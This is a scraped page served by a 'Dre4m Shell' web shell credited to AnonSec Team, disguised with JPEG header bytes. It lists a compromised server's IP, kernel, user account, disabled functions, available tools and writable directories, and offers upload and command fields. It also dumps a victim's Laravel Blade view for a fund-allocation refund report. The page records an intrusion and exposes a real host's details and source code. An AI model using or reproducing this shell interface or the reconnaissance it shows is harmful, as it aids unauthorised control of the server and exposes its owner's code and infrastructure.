ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.145.80.38
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/fundscopied/resources/views/allocation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/fundscopied/resources/views/allocation/unsettledlendingborrow_report.blade.php
@extends('layouts.layout')
@section('pageTitle')

@endsection

@section('content')

<div class="box box-default" style= "border:none;">
        <div class="box-header with-border hidden-print">
          <h3 class="box-title">@yield('pageTitle') <span id='processing'></span></h3>
        </div>
        @if ($warning<>'')
	<div class="alert alert-dismissible alert-danger">
	<button type="button" class="close" data-dismiss="alert">&times;</button>
	<strong>{{$warning}}</strong> 
	</div>
	@endif
	@if ($success<>'')
	<div class="alert alert-dismissible alert-success">
	<button type="button" class="close" data-dismiss="alert">&times;</button>
	<strong>{{$success}}</strong> 
	</div>
	@endif
    @if(session('err'))
        <div class="alert alert-dismissible alert-danger">
    	<button type="button" class="close" data-dismiss="alert">&times;</button>
    	<strong>{{session('err')}}</strong> 
    	</div>                        
    @endif
    @if(session('message'))
        <div class="alert alert-dismissible alert-success">
    	<button type="button" class="close" data-dismiss="alert">&times;</button>
    	<strong>{{session('message')}}</strong> 
    	</div>           
    @endif
	@if (count($errors) > 0)
                    <div class="alert alert-danger alert-dismissible" role="alert">
                        <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
                        </button>
                        <strong>Error!</strong> 
                        @foreach ($errors->all() as $error)
                            <p>{{ $error }}</p>
                        @endforeach
                    </div>
                @endif
                
                <div class="box-body">
 
 @include('layouts.allReportHeader', ['companyName'=>'defaultName', 'companyAddress'=>'defaultAddress', 'title1'=>'Monthly Allocation Recieved', 'title2'=>'', 'showOnlyTitle1'=>1, 'showOnlyTitle2'=>0, 'hideLogos'=>0, 'hideAddress'=>0])
 
	<form method="post"  id="thisform1" name="thisform1" >
		{{ csrf_field() }}
		<div class="box-body">
			<div class="row hidden-print">
        		<div class="col-md-3">          
                    <label class="control-label">Budget Type</label>
                    <?php if (old('economicGroup') !='') {$economicGroup=old('economicGroup'); } ?>
                    <select class="form-control" id="economicGroup" name="economicGroup" onchange="ReloadForm()" required="">
                        <option value=""  >-Select-</option>     
                        @foreach($EconomicGroup as $list)
                        <option value="{{$list->ID}}" {{ ($economicGroup) == $list->ID? "selected":"" }}>{{$list->contractType}}</option>
                        @endforeach
                    </select>
                </div>
        	<div class="col-md-2">
    				<br>
    				<button type="submit" class="btn btn-success">
    					<i class="fa fa-btn fa-refresh"></i> 
    				</button>						
				</div> 
	        </div>
	            	 
    		<div class="row">
				
    		</div>
		<input id ="delcode" type="hidden"  name="delcode" >
		</div>
			<div class="table-responsive" style="font-size: 12px; padding:10px;">
			<table class="table table-bordered">
			<thead>
				<tr >
			               	<th ></th>
			                	
			                <th >Debit</th>
			                <th >Credit</th>
			                <th >Amount</th>
			                <th >Action</th>
			                
			 	</tr>
			</thead>
						@php 
						$serialNum = 1; 
						$bf=0;
						$tr=0;
						$ta=0;
						@endphp
						
						@foreach ($UnsettleFund as $b) 
							<tr>
								<td>{{ $serialNum ++}} </td>
								<td style="text-transform:capitalize;">{{$b['debit']}}</td>
								<td style="text-transform:capitalize;">{{$b['credit']}}</td>
								<td style="text-align:right;">{{number_format(abs($b['amount']),2)}}</td>
								<td ><button type="button" class="btn btn-primary fa fa-edit" onclick="Refund('{{$b['debitid']}}','{{$b['creditid']}}','{{$b['debit']}}','{{$b['credit']}}','{{abs($b['amount'])}}' )" class="" id=""> Refund</button></td>
							</tr>
							@endforeach	
						
							
			 </table>
			 <button class="print hidden-print" type="submit" >Print</button>
		</div>
	</form>
<div id="editModal" class="modal fade">
 <div class="modal-dialog box box-default" role="document">
  <div class="modal-content">
    <div class="modal-header">
      <h4 class="modal-title">Refund  </h4>
      <button type="button" class="close" data-dismiss="modal" aria-label="Close">
        <span aria-hidden="true">&times;</span>
      </button>
    </div>
    <form class="form-horizontal" id="editBModal" name="editBModal" role="form" method="POST" >
            {{ csrf_field() }}
    <div class="modal-body">  
        <div class="form-group" style="margin: 0 12px;">
            <label class="control-label">Debit</label>
            <input type="text" class="col-sm-9 form-control" id="debit"  readonly="">  
        </div>
        <div class="form-group" style="margin: 0 12px;">
            <label class="control-label">Credit</label>
            <input type="text" class="col-sm-9 form-control" id="credit" readonly="">   
        </div>

        <div class="form-group" style="margin: 0 12px;">
            <label class="control-label">Amount</label>
            <input type="text"  class="col-sm-9 form-control" id="amount" name="amount" >   
        </div>
        <div class="modal-footer">
		<input type="hidden" id="debitid" name="debitid">   
		<input type="hidden"  id="creditid" name="creditid">   
            <button type="Submit" name="save" class="btn btn-success">Save changes</button>
            <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
        </div>   
    </div>
    </form>
</div>
</div>
</div>	
</div>
@endsection

@section('styles')
<link rel="stylesheet" type="text/css" href="{{asset('assets/css/datepicker.min.css')}}">
@endsection

@section('scripts')
<link rel="stylesheet" type="text/css" href="{{asset('assets/css/datepicker.min.css')}}">
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.10.19/css/jquery.dataTables.min.css">
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/buttons/1.5.2/css/buttons.dataTables.min.css">

<style>

.table tr th
{
text-transform:uppercase;
font-size: 14px;
}
.table tr td
{
font-size: 14px;
}

</style>

<script src="{{asset('assets/js/jquery-ui.min.js')}}"></script>

<script src="https://cdn.datatables.net/1.10.19/js/jquery.dataTables.min.js"></script>
<script src="https://cdn.datatables.net/buttons/1.5.2/js/dataTables.buttons.min.js"></script>
<script src="https://cdn.datatables.net/buttons/1.5.2/js/buttons.print.min.js"></script>

<script>
$('.print').click(function()
{
window.print();
});
</script>
  <script type="text/javascript">
	function  ReloadForm()
	{
	document.getElementById('thisform1').submit();
	return;
	}
    function Refund(debitid,creditid,debit,credit,amount)
      {
        $('#debitid').val(debitid);
        $('#creditid').val(creditid);
        $('#debit').val(debit);
        $('#credit').val(credit);
        $('#amount').val(amount);
        $("#editModal").modal('show');
      }
  
  </script>
  
@endsection

Anon7 - 2022
AnonSec Team